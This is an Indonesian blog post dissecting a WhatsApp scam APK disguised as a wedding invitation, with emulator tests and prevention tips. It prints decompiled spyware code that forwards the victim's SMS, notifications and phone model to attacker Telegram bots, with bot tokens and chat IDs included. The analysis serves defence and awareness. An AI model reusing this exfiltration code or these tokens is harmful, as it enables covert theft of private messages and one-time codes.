Membedah Modus Penipuan Undangan Pernikahan .apk
Maraknya pencurian data dengan modus menerima pesan melalui WhatsApp cukup ramai dari tahun lalu. Kemarin saya juga mendapat sebuah pesan undangan pernikahan yang berisikan file .apk seperti gambar dibawah ini.
Baru kali ini saya mendapati pesan penipuan yang berisikan file .apk
. Mari kita bedah aplikasi undangan pernikahan.apk
😁
Decompile APK
Saya menggunakan jadx untuk melakukan dekompilasi apk tersebut. Sayangnya saat proses dekompilasi ada proses yang error
dan ternyata AndroidManifest
gagal didekompilasi.
Namun kode dari aplikasi tersebut berhasil didekompilasi
Membedah Kode
MainActivityAlias
Jika dilihat pada kode MainActivityAlias
saat aplikasi dibuka, aplikasi akan membuka halaman google dengan menggunakan webview dan juga pelaku berniat untuk meminta akses sebagai administrator
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(getApplicationContext(), MainActivity.class));
intent.putExtra("android.app.extra.ADD_EXPLANATION", "Bấm zô nút đồng ý(ACTIVE á)");
Berdasarkan dokumentasi google, permintaan akses sebagai administrator sudah di deprecated pada android 9 (Device administration overview)
MainActivity
Pada class MainActivity dapat terlihat jika aplikasi ini meminta akses untuk menerima SMS dan mengirimkan SMS
if (Build.VERSION.SDK_INT < 23 || checkSelfPermission("android.permission.RECEIVE_SMS") == 0 || checkSelfPermission("android.permission.SEND_SMS") == 0) {
return;
}
requestPermissions(new String[]{"android.permission.RECEIVE_SMS", "android.permission.SEND_SMS"}, 1000);
Permintan akses SMS ditolak:
Ketika permintaan akses tersebut ditolak oleh pengguna/korban, aplikasi ini akan mengirim pesan ke telegram bot dengan data yang dicuri adalah model handphone kita.
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6965328859:AAFiuxzQ6QlzHM-iTCNY04_TdhtRCqo5gYw/sendMessage?parse_mode=markdown&chat_id=6983254932&text=𝐍𝐨𝐭𝐢𝐟𝐢𝐤𝐚𝐬𝐢 𝐀𝐩𝐥𝐢𝐤𝐚𝐬𝐢 𝐃𝐢 𝐈𝐧𝐬𝐭𝐚𝐥𝐥 \n 𝐓𝐲𝐩𝐞 𝐏𝐞𝐫𝐚𝐧𝐠𝐤𝐚𝐭: _" + this.device + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.4
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
Permintaan akses SMS diberikan:
Ketika permintaan akses diberikan oleh pengguna/korban, aplikasi ini akan mengirim pesan ke telegram bot dan juga akan mengirimkan SMS ke nomor 082176223507 dengan konten pesan:
Paket 16 GB Nasional (30 hari) Rp45000 telah aktif di nomor 6282176221401.
Sepertinya pelaku melakukan hal ini untuk menginformasikan bahwa ada korban yang masuk kedalam niat jahatnya.
Namun tidak hanya itu, pada baris terakhir si pelaku juga meminta akses untuk mendapatkan informasi dari notifikasi yang kita terima
if (Build.VERSION.SDK_INT >= 23 && !notificationManager.isNotificationPolicyAccessGranted()) {
startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
Toast.makeText(this, "Aktifkan Izin Aplikasi!", 0).show();
}
SendSMS
Ketika korban memberikan akses SMS pada aplikasi ini, maka aplikasi ini akan memata-matai aktivitas korban dalam pengiriman pesan SMS. Pada kode SendSMS
juga terdapat proses parsing data untuk mendapatkan nomor tujuan dari pesan SMS yang hendak korban kirimkan. Aplikasi ini akan meneruskan pesan yang dikirim oleh korban ke telegram bot pelaku.
// Proses pencurian data korban saat mengirim SMS
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6965328859:AAFiuxzQ6QlzHM-iTCNY04_TdhtRCqo5gYw/sendMessage?parse_mode=markdown&chat_id=6983254932&text=Berhasil Kirim SMS dari Jauh %0AKepada : _" + str4 + "_,%0A𝐦𝐞𝐬𝐬𝐚𝐠𝐞 : _" + str5 + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.SendSMS.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
ReceiveSMS
Pelaku juga memata-matai aktivitas penerimaan SMS. Pada kode ReceiveSMS
setiap kali korban menerima SMS, aplikasi ini akan meneruskan pesan SMS tersebut ke telegram bot pelaku.
this.client.newCall(builder.url(append.append(" ").append(Build.MODEL).append("_").toString()).build()).enqueue(new Callback() { // from class: com.example.myapplicatior.ReceiveSms.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
NotificationService
Class NotificationService
extends NotificationListenerService yang mana pada class ini ditujukan untuk memonitoring penerimaan notifikasi pada handphone korban. Setiap kali korban menerima notifikasi, aplikasi undangan pernikahan.apk
ini akan mengambil informasi:
- package: digunakan untuk mengidentifikasi nama aplikasi berdasarkan notifikasi yang diterima
- title: digunakan untuk mengidentifikasi judul notifikasi berdasarkan aplikasi yang diterima
- text: digunakan untuk mengidentifikasi isi pesan dari notifikasi
Setelah berhasil mengekstrak data tersebut, aplikasi ini akan mengirimkan data tersebut menggunakan LocalBroadcastManager dan akan diteruskan ke telegram bot pelaku
MainActivity.this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6063607955:AHM9b-Y34F8-yoAqnMPIYI6P7qxmj0649k/sendMessage?parse_mode=markdown&chat_id=619100847&text=*" + stringExtra + "* %0A%0A*From :* _" + stringExtra2 + "_%0A*Message :* _" + stringExtra3 + "_").build()).enqueue(new Callback() { // from class: com.example.myapplicatior.MainActivity.1.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
Eksperimen Aplikasi
Saya menggunakan 2 device emulator dengan OS android 8.1 dan android 10. Saat mencoba install aplikasi tersebut ternyata terdapat perbedaan
Pada android 8, aplikasi tersebut tidak ada pada halaman menu aplikasi. Berbeda dengan android 10, aplikasi undangan pernikahan.apk tersebut terlihat pada menu aplikasi.
Kemudian saya mencoba untuk membuka menu pengaturan > aplikasi dan notifikasi > info aplikasi pada emulator android 8.
Dan yap, aplikasi undangan pernikahannya ada pada list.
Menjalankan Aplikasi
Karna pada android 8 aplikasinya tidak terdeteksi pada menu aplikasi, maka saya akan membuka aplikasinya melakui perintah adb. Pertama perlu kita perlu tau nama package dari aplikasi undangan pernikahan.apk
Pelaku memberi nama package aplikasi ini com.google.myandroid
. Kemudian kita bisa buka aplikasinya dengan adb shell
Dan sesuai dengan kode yang ditulis pelaku, aplikasi ini langsung meminta hak akses SMS
Kemudian saat saya memberikan akses, aplikasi langsung mengirim informasi ke telegram bot pelaku dan meminta akses untuk membaca notifikasi yang diterima handphone.
Saya akan memberikan akses untuk aplikasi ini.
Simulasi Menerima Pesan SMS
Disini saya mencoba untuk mentrigger pesan SMS melalui AVD. Hasilnya ketika menerima pesan, aplikasi ini langsung meneruskan ke telegram bot pelaku.
Simulasi Menerimaa Push Notification
Untuk mensimulasikan menerima notifikasi, saya menggunakan aplikasi Fake Notification.
Ketika notifikasi palsu saya buat dan popup notifikasinya muncul pada emulator, aplikasi undangan pernikahan.apk
langsung meneruskan data push notification ke telegram bot pelaku.
Namun saat melakukan request prosesnya gagal karna unauthorized. Kemungkinan karna bot token yang ada didalam aplikasi sudah expired
Cara Untuk Mencegah
- Matikan fitur mengunduh file otomatis pada WhatsApp dengan cara masuk ke pengaturan WhatsApp > Penyimpanan dan data > Ubah semua konfigurasi menjadi “Tidak ada media”
- Sebelum membuka pesan perhatikan tipe dokumen yang dikirim oleh nomor yang tidak dikenal. Jika tipe file yang dikirim
.APK
maka, abaikan pesan tersebut, laporkan nomor tersebut dan block nomornya.
- Jika sudah terlanjur mengunduh dan menginstall aplikasinya, anda dapat melakukan uninstall aplikasi tersebut atau melakukan factory reset (kembali ke setelan pabrik).
Semoga artikel ini bermanfaat dan terimakasih sudah membacanya sampai akhir 😁